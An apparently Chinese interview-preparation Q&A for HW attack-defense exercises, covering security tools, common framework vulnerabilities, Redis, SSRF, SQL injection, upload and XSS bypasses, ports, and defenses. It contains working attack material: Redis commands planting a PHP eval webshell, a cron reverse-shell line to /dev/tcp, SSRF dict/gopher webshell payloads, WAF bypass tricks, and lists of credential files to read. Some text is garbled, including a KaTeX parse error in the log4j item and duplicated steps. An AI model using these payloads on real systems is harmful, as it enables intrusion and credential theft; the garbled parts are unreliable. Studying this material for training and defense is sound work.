护网行动面试试题(2)
文章目录
- 51、常见的安全工具有哪些?
- 52、说说Nmap工具的使用?
- 53、近几年HW常见漏洞有哪些?
- 54、HW 三(四)大洞
- 56、获得文件读取漏洞,通常会读哪些文件
- 57、了解过反序列化漏洞吗?
- 58、常见的框架漏洞?
- log4j远程代码执行漏洞
- Fastjson反序列化漏洞
- Shiro反序列化漏洞
- shiro-550:
- shiro-721:
- 59、了解过redis数据库和常见的漏洞吗?
- 60、SSRF怎么结合Redis相关漏洞利用?
- 61、sql注入getshell的几种方式?
- 62、SQL注入漏洞
- 63、CSRF漏洞
- 64、文件包含漏洞
- 65、文件上传漏洞
- 66、SSRF漏洞
- 67、逻辑漏洞
- 68、XXE漏洞
- 69、代码执行漏洞
- 70、关于路径覆盖漏洞(不常问)
- 71、邮件系统漏洞攻击
- 72、DNS欺骗是什么?
- 73、DDOS攻击
- 74、什么是CC攻击
- 75、常见的端口和对应的服务
- 76、身份认证漏洞最常见是?
- 77、验证码漏洞
- 78、DOM 型XSS人工测试
- 79、为什么参数化查询可以防止SQL注入?
- 80、各种常见的状态码?
- 81、Dll劫持漏洞
51、常见的安全工具有哪些?
端口及漏洞扫描:Namp
抓包:Wireshark、Burpsuite、Fiddler
Web自动化安全扫描:Awvs、Appscan、Xray、goby
信息收集:Oneforall
漏洞利用:MSF、CS
Webshell管理:菜刀、蚁剑、冰蝎、哥斯拉
内网工具:fscan、frp、nps
凭据密码收集工具:mimikatz
52、说说Nmap工具的使用?
-sT TCP (全)连接扫描,准确但留下大量日志记录-sS TCP SYN (半)扫描,速度较快,不会留下日志-sN null 扫描,标志位全为 0,不适用 Windows-sF FIN 扫描,标志位 FIN=1,不适用 Windows-O 查看目标主机系统版本-sV 探测服务版本-A 全面扫描
53、近几年HW常见漏洞有哪些?
弱口令、未授权访问、文件上传、注入、log4j代码执行、Struts2命令执行、fastjson、shiro、TinkPHP代
码执行、Spring代码执行等等。
54、HW 三(四)大洞
shiro、struts2、weblogic、Fastjson
额外:thinkphp、(2021年)log4j、(2022年)word msdt
55、讲诉 2023 年护网出现过那些 0day 漏洞
蓝凌OA前台代码执行
金山WPS RCE
泛微E-Office9文件上传漏洞
泛微 Eoffice10 前台 SQL 注入
用友GRP-U8存在信息泄露
用友畅捷通 SQL注入
大华智慧园区任意密码读取漏洞
致远OA任意管理员登录
广联达oa sql注入漏洞
56、获得文件读取漏洞,通常会读哪些文件
linux
etc/passwd、etc/shadow直接读密码
/etc/hosts # 主机信息
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
bash /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
/etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MY D //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息
57、了解过反序列化漏洞吗?
原理:
序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式,反序列化则与其相反,即将字节序列转
化为对象供程序使用。程序在进行反序列化时会调用一些函数,比如常见的PHP反序列化函数unserialize()以及
一些常见的魔术方法,比如构造函数_construct(),析构函数_destruct(),_wakeup(),_toString(),
_sleep()等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列
化后传入函数中,从而导致反序列化漏洞。
Java反序列化:Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是
1)、创建一个对象输出流;
2)、通过对象输出流的ReadObject()方法来读取对象;
58、常见的框架漏洞?
log4j远程代码执行漏洞
原理:
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打
印时当遇到KaTeX parse error: Expected '}', got 'EOF' at end of input: …: 在正常的log处理过程中对{这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会
触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造
符合要求的表达式供系统执行
Fastjson反序列化漏洞
判断:
正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有
fastjson这个字符串来判断。
原理:
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化
为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会
导致代码执行等这类问题。
无回显怎么办:
1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看
到结果
2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
3.直接将命令执行结果回显到请求Poc的HTTP响应中
Shiro反序列化漏洞
原理:
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录
时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选
项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用
户名和密码。
判断:
1.数据返回包中包含rememberMe=deleteMe字段。
2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:
rememberMe=然后查看返回数据包中是否存在关键字。
shiro-550:
shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码
里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证
rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而
造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie
的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化
漏洞。
shiro-721:
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
59、了解过redis数据库和常见的漏洞吗?
redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:
第一种:向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)
条件:
服务器存在.ssh目录且具有写入的权限
原理:
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径
为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端
的/root/.ssh下生成一个授权的key。
第二种:写入webshell
条件:
已知web绝对路径。
步骤:
1)、redis -cli -h 192.168.x.x 连接目标服务器
2)、config set dir “/var/www/html” 设置保存文件路径
3)、config set dbfilename shell.php 设置保存文件名
4)、set x “\n\n<?php @eval($_POST['cmd']); ?>\n” 将webshell写入x键值中
5)、save 保存
局限:
1)、服务器处于内网,写入webshell后我们的公网IP无法连接。
2)、服务器IP地址不固定。
3)、6379端口不允许入方向。
4)、上传webshell可能直接被杀毒软件删除。
第三种:反弹连接shell
设置监听端口,常用的工具msf、netcat、socat
利用msf设置监听步骤:
1)、use exploit/multi/handler
2)、set payload generic/shell_reverse_tcp
3)、set lhost 192.168.x.x 默认监听端口为4444
4)、run
第四种:定时任务反弹shell
步骤:
1)、定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表
一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中
写入反弹连接命令
2)、config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
3)、config set dbfilename root //设置保存文件名
4)、set x “\n * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n” //将
反弹shell写入x键值中
5)、save //保存
利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制,理由如下:
1)、默认redis写文件后是644的权限,但ubuntu要求执行定时任务
件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时
任务文件权限644也能执行。
2)、redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错。
3)、两个系统的定时任务文件目录不同。
第五种:利用主从复制getshell
条件:
版本(4.x~5.0.5)
原理:
数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实
例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离
可以减轻服务器端的压力。
利用工具:
RedisRogueServer
地址:
https://github.com/n0b0dyCN/redis-rogue-server
使用工具的命令:
python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
两种使用方法:
交互式
反弹式
限制:
利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用
redis未授权访问漏洞的防范措施:
1)、添加登录密码。
2)、修改默认端口。
3)、关闭端口。
4)、禁止以root用户权限启动,以低权限启动redis服务。
60、SSRF怎么结合Redis相关漏洞利用?
主要通过两种协议,dict协议和gopher协议。
第一种:dict协议利用redis相关漏洞:
探测端口:
ssrf.php?url=dict://x.x.x.x: 端口 端口 端口 利用burpsuite爆破端口
探测是否设置弱口令:
ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
爆破密码:
ssrf.php?url=dict://x.x.x.x:6379/auth: 密码 密码 密码 利用burpsuite爆破密码
写入webshell:
1)、url=dict://[http://xxx.xxx:6379/config:set:dir:/var/www/html]
(https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录
2)、url=dict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php]
(https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件
名
3)、url=dict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/set%3Awebshell%3A)"
\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" //利用dict协议写
入webshell 以上的字符编码是<?php phpinfo();?>的十六进制
4)、url=dict://x.x.x.x:6379/save 保存
5)、url=dict://[http://xxx.xxx:6379/config:set:dir:/var/www/html]
(https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adir%3A/var/www/html) 切换文件目录
6)、url=dict://[http://xxx.xxx:6379/config:set:dbfilename:webshell.php]
(https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/config%3Aset%3Adbfilename%3Awebshell.php) 设置保存文件
名
7)、url=dict://[http://xxx.xxx:6379/set:webshell:](https://link.zhihu.com/?
target=http%3A//xxx.xxx%3A6379/set%3Awebshell%3A)"
\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
8)、利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制
9)、ssrf.php?url=dict://x.x.x.x:6379/save 保存
dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似
第二种:gopher协议利用redis未授权访问漏洞写入webshell:
常规利用步骤:
set x “\n\n\n<?php @eval($_POST['redis']);?>\n\n\n”
config set dir /var/www/html
config set dbfilename shell.php
save
//第一次url解码和第二次url解码
//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
61、sql注入getshell的几种方式?
第一种方式:into outfile
利用条件:
1)、当前数据库用户是root
2)、知道网站的绝对路径
3)、secure_file_priv没有具体值
第二种方式:–os-shell
原理:–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个
可以直接执行系统命令,一个进行上传文件。
条件:
1)、要求为数据库DBA,使用–is-dba查看当前网站连接的数据库账号是否为mysql user表中的管
理员如root,是则为dba
2)、secure_file_priv没有具体值
3)、知道网站的绝对路径
第三种方式:写日志
条件:
尝试用日志写入木马getshell不需要secure_file_priv没有具体值,但是需要知道网站根目录。
62、SQL注入漏洞
原理:
产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接 到查询语句中。利用
SQL注入漏洞,攻击者可以在应用的查询语句中插入自己的SQL代码并传递 给后台SQL服务器时加以解析并执行。
分类:
1)、显注。
2)、盲注(无回显): 时间型、布尔型、报错型。
危害:
1)、数据库信息泄露。
2)、网页篡改。
3)、网站被挂马,传播恶意软件。
4)、数据库被恶意操作。
5)、服务器被植入后门。
6)、破坏硬盘或者服务器等硬件设备。
如何进行SQL注入的防御
1)、关闭应用的错误提示
2)、加waf
3)、对输入进行过滤
4)、限制输入长度
5)、限制好数据库权限,drop/create/truncate等权限谨慎grant
6)、预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解 决利用占位
符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
7)、数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后 加盐再
md5。
8)、清晰的编程规范,结对/自动化代码review,加大量现成的解决方案(PreparedStatement,
ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让SQL注入的风险变得非常低了。
绕过技术:
1)、关键字可以用%(只限 IIS 系列)。比如 select,可以 sel%e%ct
2)、通杀的,内联注释,如 /!select/
3)、编码,可两次编码
4)、multipart 请求绕过,在 POST 请求中添加一个上传文件,绕过了绝大多数 WAF
5)、参数绕过,复制参数,id=1&id=1
6)、组合法 如 and 可以用&&再 URL 编码
7)、替换法,如 and 改成&&;=可以用 like 或 in 等
63、CSRF漏洞
原理:CSRF跨站点请求伪造。攻击者盗用了受害者的身份,以受害者的名义发送恶意请求,对 服务器来说这个请
求是完全合法的,但是却完成了攻击者所期望的一个操作
危害:
1)、对网站管理员进行攻击
2)、修改受害网站上的用户账户和数据
3)、账户劫持
4)、传播CSRF蠕虫进行大规模攻击
5)、利用csrf进行拖库
6)、利用其他漏洞进行组合拳攻击
7)、针对路由器的csrf攻击
如何防护:
1)、尽量使用POST,限制GET;
2)、浏览器Cookie策略;
3)、加验证码;
4)、Referer Check;
5)、Anti CSRF Token;
64、文件包含漏洞
类型
1)、本地文件包含
2)、远程文件包含 :即加载远程文件,在php.ini中开allow_url_include 、 allow_url_fopen选
项。开启后可以直接执行任意代码。
利用:
1)、读取敏感文件
2)、远程包含shell
3)、图片上传并包含图片shenll
4)、使用伪协议
5)、包含日志文件GetShell
6)、截断包含
PHP文件包含函数
1)、include():使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告 并继续执
行。
2)、inclue_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
3)、require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出 错误信息
并立即终止程序。
4)、require_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一 次。
修复方案
1)、禁止远程文件包含allow_url_include=off
2)、配置open_basedir=指定目录,限制访问区域。
3)、过滤 …/等特殊符号
4)、修改Apache日志文件的存放地址
5)、开启魔术引号magic_quotes_qpc=on
6)、尽量不要使用动态变量调用文件,直接写要包含的文件。
65、文件上传漏洞
原理:
由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀以及文件类型或者处理缺陷,而导
致用户可以越过本身权限向服务器上传木马去控制服务器。
危害:
操作木马文件提权 获取网站权限
绕过方法:
黑名单
1)、后缀名不完整 .php5 .phtml等
2)、上传 .htacess
3)、大小写
4)、在数据包中后文件缀名前加空格
5)、后缀名前加 .
6)、加上::$DATA
7)、未循环验证,可以使用x.php…类似的方法
白名单(一般需要配合其他漏洞一起利用)
1)、%00截断
2)、图片马
3)、条件竞争
修复:
1)、后端验证:采用服务端验证模式。
2)、后缀验证:基于白名单,黑名单过滤。
3)、MIME验证:基于上传自带类型艰检测。
4)、内容检测:文件头,完整性检测。
5)、自带函数过滤。
6)、WAF防护软件:宝塔、云盾等。
66、SSRF漏洞
原理:
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
ssrf危害:
1)、探测内网信息,用协议探ftp%26ip={ip}%26port={port}
2)、攻击内网或本地其他服务
3)、穿透防火墙
漏洞存在的地方:
1)、能够对外发起网络请求的地方。
2)、请求远程服务器资源的地方。
3)、数据库内置功能。
具体利用的方式:
具体操作需要查看支持的协议,file协议查看文件、dict协议探测端口、ophergopher协议 支持
GET&POST请求,同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用 gopher协议访问redis
反弹shell。
4)、邮件系统。
5)、文件处理。
6)、在线处理工具。
举几个例子:
1)、在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
2)、根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
3)、数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
4)、邮件系统就是接收邮件服务器地址这些地方。
5)、文件就找ImageMagick,xml这些。
6)、从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。
绕过姿势
1)、http://example.com@127.0.0.1`
2)、利用IP地址的省略写法绕过 ,[::]绕过localhost
3)、DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io
4)、利用八进制IP地址绕过 ,利用十六进制IP地址 ,绕过利用十进制的IP地址绕过
修复:
1)、地址做白名单处理
2)、域名识别IP 过滤内部IP
3)、校验返回的内容对比是否与假定的一致
67、逻辑漏洞
1)、挖过的逻辑漏洞:
订单任意金额修改
相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数。
预防思路:
订单需要多重效验。
订单数值较大的时候需要人工审核。
4)、接口无限制枚举
某电商登陆接口无验证导致撞库
某招聘网验证码无限制枚举
某快递公司优惠券枚举
2)、验证码回传
漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮 箱邮件
预防思路:
response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压 力也会随之增加。
如果要进行前端验证的话也可以,但是需要进行加密。
3)、未进行登陆凭证验证
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未 经授权访问这
些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没 验证ID或cookie验证导致越权。
预防思路:
对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证。
某电商会员卡卡号枚举
预防思路:
在输入接口设置验证,如token,验证码等。如果设定验证码,最好不要单纯的采取一个前 端验证,最好选
择后端验证。如果设定token,请确保每个token只能采用一次,并且对 token设定时间参数。
注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
验证码不要用短数字,尽量6位以上,最好是以字母加数字进行组合,并且验证码需要设定 时间期限。
优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5)、cookie设置存在缺陷
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以 对cookie的效验
值进行一个枚举 .
cookie存在被盗风险,即用户重置密码后使用老cookie依然可以通过验证。
用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。不能采取简单的 base64等算法。
越权:
平行越权:权限类型不变,权限ID改变;
垂直越权:权限ID不变,权限类型改变;
交叉越权:即改变ID,也改变权限;
预防思路
1)、cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2)、用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3)、用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4)、cookie中设定session参数,以防cookie可以长时间生效。
5)、根据业务不同还有很多方法。
67、XSS漏洞
原理:
通过插入恶意脚本,实现对用户浏览器的攻击。
类型:
存储、反射、dom
XSS绕过:
1)、大小写
2)、js伪协议
3)、没有分号
4)、Flash
5)、Html5新标签
6)、Fuzz进行测试
7)、双层标签绕过
反射和dom的区别:
DOM-XSS是javascript处理输出, 而反射性xss是后台程序处理。
修复防御:
1)、对输入内容的特定字符进行编码,例如表示html标记的 < > 等符号。
2)、对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服
务端设置。
3)、将不可信的值输出URL参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要 进行格式检
测(比如你需要的时URL,就判读是否满足URL格式)。
4)、不要使用Eval来解析并运行不确定的数据或代码,对于JSON解析请使用 JSON.parse() 方法。
68、XXE漏洞
原理:
解析用户传入的xml
作用:
内网端口扫描、利用file协议等读取文件、攻击内网web应用使用get(struts2等)
危害:
1)、导致可以加载恶意外部文件
2)、造成文件读取
3)、内网端口扫描
4)、攻击内网网站
5)、发起dos攻击等危害
防御:
过滤用户提交的XML数据、如果你当前使用的程序为PHP,则可以将 libxml_disable_entity_loader设
置为TRUE来禁用外部实体,从而起到防御的目的。
69、代码执行漏洞
原理:
没有对接口输入的内容进行严格的判断 造成攻击者精心构造的代码非法执行,当应用在调用一些能将字符转
化为代码的函数(如PHP中的eval)时,没有考虑用户是否能控 制这个字符串,这就会造成代码执行漏洞。
相关函数:
PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c
ipconfig”).StdOut.ReadAll()%>
危害:
1)、执行代码
2)、让网站写shell
3)、甚至控制服务器
漏洞利用:
1)、执行代码的函数:eval、assert
2)、callback函数:preg_replace + /e模式
3)、反序列化:unserialize()(反序列化函数)
防御修复:
1)、使用json保存数组,当读取时就不需要使用eval了。
2)、对于必须使用eval的地方,一定严格处理用户数据
3)、字符串使用单引号包括可控代码,插入前使用addslashes转义。
4)、放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换。
5)、若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象。
70、关于路径覆盖漏洞(不常问)
RPO的全称为Relative Path Overwrite,也就是相对路径覆盖,利用客户端和服务端的差 异,通过相对路径来
引入我们想要的js或css文件,从而实现某种攻击。
就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置 差异,以及服务器和
客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加 载其他文件,最终浏览器将服务器返回
的不是css/js的文件当做css/js来解析,从而导致 XSS,信息泄露等漏洞产生。
71、邮件系统漏洞攻击
漏洞攻击是危害网络安全中较为常见的一种。作为当今世界上使用最为频繁的商务通信工具—— 邮件系统,更是屡屡
遭受漏洞攻击的困扰,这不仅因为制造漏洞的途径多,还以为邮件系统的 互联网通信协议本身的问题。前者如程序
员因为工作失误出现编码漏洞,毕竟人非机器,在紧 张复杂的工作过程中,难免有个闪失,除了人为因素,还有软
件编码工具及编译器造成的错 误,不同应用程序彼此之间的相互作用,如大多数程序必须与其它API相交互,保存
并检索文 件,同时运行在多种不同类型的设备上,都会可能产生漏洞;后者如互联网通信协议—TCP和 UDP,其开
放性常常引来黑客的攻击;而IP地址的脆弱性,也给黑客的伪造提供了可能,从而 泄露远程服务器的资源信息。
除了以上原因,据业界知名邮件通联服务商U-Mail专家张工分析,常见漏洞大概可分为几种:
一、IMAP 和 POP 漏洞:
这些协议常见弱点是密码脆弱,同时,各种IMAP和POP服务还容易受到如缓冲区溢出等类型的 攻击。
二、拒绝服务(DoS)攻击:
1)、死亡之Ping——发送一个无效数据片段,该片段始于包结尾之前,但止于包结尾之后;
2)、同步攻击——极快地发送TCP SYN包(它会启动连接),使受攻击的机器耗尽系统资源,进而 中断合法
连接;
3)、循环——发送一个带有完全相同的源/ 目的地址/端口的伪造SYN包,使系统陷入一个试图完 成TCP连
接的无限循环中。
三、系统配置漏洞:
1)、默认配置——大多数系统在交付给客户时都设置了易于使用的默认配置,被黑客盗用变得轻 松;
2)、空的/默认根密码——许多机器都配置了空的或默认的根/管理员密码,并且其数量多得惊人;
3)、漏洞创建——几乎所有程序都可以配置为在不安全模式下运行,这会在系统上留下不必要的漏洞。
四、利用软件问题:在服务器守护程序、客户端应用程序、操作系统和网络堆栈中,存在很多 的软件错误,分为以
下几类:
1)、缓冲区溢出——程序员会留出一定数目的字符空间来容纳登录用户名,黑客则会通过发送比指 定字符串长
的字符串,其中包括服务器要执行的代码,使之发生数据溢出,造成系统入侵。
2)、意外组合——程序通常是用很多层代码构造而成的,入侵者可能会经常发送一些对于某一层毫 无意义,但
经过适当构造后对其他层有意义的输入。
3)、未处理的输入——大多数程序员都不考虑输入不符合规范的信息时会发生什么。
72、DNS欺骗是什么?
定义: DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
原理:
如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者
的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本 原理。 DNS欺骗其实并不是真的“黑掉”了
对方的网站,而是冒名顶替、招摇撞骗罢了。
73、DDOS攻击
分布式拒绝服务攻击(DDoS)是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有 很多种,最基本的
DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
抗D思想和方案
1)、负载均衡。
2)、花钱买流量清洗服务。
3)、CDN:web层,比如cc攻击。
4)、分布式集群防御。
5)、高防:防大部分攻击,udp、大型的cc攻击。
6)、预防为主。
7)、系统漏洞。
8)、系统资源优化:过滤不必要的服务和端口。
9)、限制特定流量:检查访问来源做适当限制。
74、什么是CC攻击
CC攻击是DDOS(分布式拒绝服务)的一种,相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真
实源IP,见不到特别大的异 常流量,但造成服务器无法进行正常连接。
CC攻击的原理就是攻击者控制某些主机不停地发 大量数据包给对方服务器造成服务器资源耗尽, 一直到宕机溃。
CC主要是用来攻击页面的, 每个人都有这样的体验:当一个 网页访问的人数特别多的时候,打开网页就慢了,CC
就是模 拟多个用户(多少 线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量 CPU时间)
的页面,造成服务器资源的浪费,CPU长时间处100%,永远都有处 理不完的连接直 至就网络拥塞,正常的访问被
中止。
75、常见的端口和对应的服务
1)、web类
这部分常有的漏洞有: (web漏洞/敏感目录)第三方通用组件漏洞struts、thinkphp、 jboss、ganglia、
zabbix
80 web
80-89 web
8000-9090 web
2)、数据库类(扫描弱口令)
1433
MSSQL
1521
3306
5432
Oracle
MySQL
PostgreSQL
3、特殊服务类(未授权/命令执行/漏洞)
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001、7002 weblogic默认弱口令、反序列化
9200、9300 elasticsearch 参考乌云:多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
50000 SAP命令执行
50070、50030 hadoop默认端口未授权访问
4、常用端口类(扫描弱口令/端口爆破)
21 ftp
22 ssh
23 telnet
2601、2604 zebra路由,默认密码zebra
3389 远程桌面
5、常见的端口漏洞
21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破
22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密 码 可能会登入进去
23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令
25 smtp 默认用户 默认密码 邮件账号爆破
80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不 当 造成fastcgi端口泄露
110 pop3 默认用户 默认密码 邮件账号爆破
443 https openssl 心脏滴血(影响范围较小) SSL/TLS低版本存在的漏洞
135 139 445 netbios smb MS17010
3389 RDP CVE-2019-0708
3389和443、445有什么漏洞?
445:ms06_040,蠕虫,勒索病毒、MS17-010
443:ssl心脏滴血
3389:rdp漏洞、弱口令、cve-2019-0708、ms12-20
端口合计详情
161 SNMP
389 LDAP
512、513、514 Rexec
873 Rsync未授权
1025、1111 NSF
1433 sqlserver
1521 Oracle: (iSqlPlus port:5560、7778) 2082/2083 cpanel主机管理系统登录
2222 DA虚拟主机管理系统登录
2601、2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能直接漫游内网
3306 Mysql
3312/3311 kangle主机管理系统登录
4440 rundeck 参考乌云:借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB
6082 varnish
6379 redis未授权
7001、7002 weblogic默认弱口令、反序列化
7778 kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维谢欢吧管理后台开放在这些非80端口上
8080 tomcat/wDCP主机管理系统,默认弱口令
8080、8089、9090 jboss
8083 Vestacp主机管理系统
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200、9300 elasticsearch 参考乌云:多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017、27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070、50030 hadoop默认端口未授权访问
76、身份认证漏洞最常见是?
1)、会话固定攻击;
2)、cookie仿冒;
只要得到session和cookie即可伪造用户身份。
77、验证码漏洞
1)、验证码漏洞存在暴力破解。
2)、可以通过js或改包方法进行绕过。
78、DOM 型XSS人工测试
人工测试思路:找到类似 document.write、innerHTML赋值、outterHTML 赋值、 window.location 操
作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回
溯变量来源观察是否可控,是否经 过安全函数。
79、为什么参数化查询可以防止SQL注入?
原理:
使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数 据库完成sql指令的编
译后才套用参数运行。
简单的说:
参数化能防注入的原因在于 ,语句是语句,参数是参数,参数的值并不是语句的一 部分,数据库只按语句的
语义跑。
80、各种常见的状态码?
200 OK //客户端请求成功
403 Forbidden //服务器收到请求,但是拒绝提供服务
404 Not Found //请求资源不存在,eg:输入了错误的 URL
500 Internal Server Error //服务器发生不可预期的错误
81、Dll劫持漏洞
